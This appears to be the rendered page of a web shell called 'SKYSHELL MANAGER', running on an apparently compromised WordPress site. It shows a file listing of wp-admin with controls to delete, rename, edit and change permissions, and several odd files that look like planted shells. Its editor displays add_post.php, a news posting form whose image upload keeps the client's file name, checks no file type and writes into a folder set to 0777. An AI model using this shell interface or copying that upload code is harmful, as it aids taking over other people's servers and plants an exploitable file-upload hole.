📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: add_post.php
<?php // Set session timeout and inactivity handling ini_set('session.gc_maxlifetime', 3600); session_set_cookie_params(3600); // Start the session session_start(); // Inactivity timeout $inactivityTimeout = 9000; // 150 minutes if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity']) > $inactivityTimeout) { session_unset(); session_destroy(); header("Location: login.php"); exit(); } $_SESSION['last_activity'] = time(); // Check if the user is logged in if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { header("Location: login.php"); exit(); } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags--> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Title Page--> <title>Admin</title> <link rel="icon" href="css/fav.ico" type="css/fav.ico"> <!-- Icons font CSS--> <link href="vendorfile/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all"> <link href="vendorfile/font-awesome-4.7/css/font-awesome.min.css" rel="stylesheet" media="all"> <!-- Font special for pages--> <link href="https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet"> <!-- Vendor CSS--> <link href="vendorfile/select2/select2.min.css" rel="stylesheet" media="all"> <link href="vendorfile/datepicker/daterangepicker.css" rel="stylesheet" media="all"> <!-- Main CSS--> <link href="dashcss/main.css" rel="stylesheet" media="all"> </head> <body> <div class="page-wrapper bg-gra-02 p-t-130 p-b-100 font-poppins"> <div class="wrapper wrapper--w680"> <div class="card card-4"> <div class="card-body"> <div class="row row-space"> <div class="col-3"> <h2 class="title" style="text-align:left;">Add Post</h2> </div> <div class="col-3"> <div style="text-align: right;"> <a href="dashboard.php"> <button type="button" class="btn btn--radius-2 btn--lblue">Dashboard</button> </a> </div> </div> <div class="col-3"> <div style="text-align: right;"> <a href="logout.php"> <button type="submit" class="btn btn--radius-2 btn--red">Logout</button> </a> </div> </div> </div> <form action="" method="POST" enctype="multipart/form-data"> <div class="input-group"> <label class="label">Title *</label> <input class="input--style-4" type="text" name="title" placeholder="Enter Title" required> </div> <div class="input-group"> <label class="label">Category *</label> <div class="rs-select2 js-select-simple select--no-search"> <select id="category" name="category" required> <option value="">Select Category</option> <option value="Top News">Top News</option> <option value="Trending News">Trending News</option> <option value="World News">World News</option> <option value="Finance News">Finance News</option> <option value="Market News">Market News</option> <option value="Technology News">Technology News</option> <option value="Latest News">Latest News</option> </select> <div class="select-dropdown"></div> </div> </div> <div class="input-group"> <label class="label">Description *</label> <textarea class="input--style-4" name="description" style="height: 100px;width:100%;line-height: normal;" required></textarea> </div> <div class="input-group"> <label class="label">Content * Html Formate</label> <textarea class="input--style-4" name="content" style="height: 200px;width:100%;line-height: normal;" required></textarea> </div> <div class="input-group"> <label class="label">Post Image * size : 1200*675</label> <input class="input--style-4" type="file" id="image" name="image" accept="image/*" required><br><br> </div> <div class="input-group"> <label class="label">Author Name & Team *</label> <input class="input--style-4" type="text" name="author" placeholder="Enter Your Name & Team" required> </div> <div class="row row-space"> <div class="col-2"> <div class="input-group"> <input type="submit" name="submit" class="btn btn--radius-2 btn--blue" value="Add Post" style="width:auto;"> </div> </div> </div> </div> </form> <br> <?php // Database connection require 'db_connection.php'; if ($_SERVER["REQUEST_METHOD"] == "POST") { $title = $conn->real_escape_string($_POST['title']); $category = $conn->real_escape_string($_POST['category']); $description = $conn->real_escape_string($_POST['description']); $content = $conn->real_escape_string($_POST['content']); $author = $conn->real_escape_string($_POST['author']); // Define upload directory $uploadDir = "uploads/"; // Ensure the uploads folder exists if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } // Process news image $pst_img = ""; if (!empty($_FILES['image']['name'])) { $imageName = time() . "_" . basename($_FILES['image']['name']); $pst_img = $uploadDir . $imageName; move_uploaded_file($_FILES['image']['tmp_name'], $pst_img); } // Insert data into the database $sql = "INSERT INTO post (title, category, description, content, author, pst_img) VALUES ('$title', '$category', '$description', '$content', '$author', '$pst_img')"; if ($conn->query($sql) === TRUE) { echo '<script>window.location.href = "success.php";</script>'; } else { echo '<script>window.location.href = "failed.php";</script>'; } } $conn->close(); ?> </div> </div> </div> </div> <script> if ( window.history.replaceState ) { window.history.replaceState( null, null, window.location.href ); } </script> <!-- Jquery JS--> <script src="vendorfile/jquery/jquery.min.js"></script> <!-- Vendor JS--> <script src="vendorfile/select2/select2.min.js"></script> <script src="vendorfile/datepicker/moment.min.js"></script> <script src="vendorfile/datepicker/daterangepicker.js"></script> <!-- Main JS--> <script src="dashjs/global.js"></script> </body> </html> <!-- end document-->
Save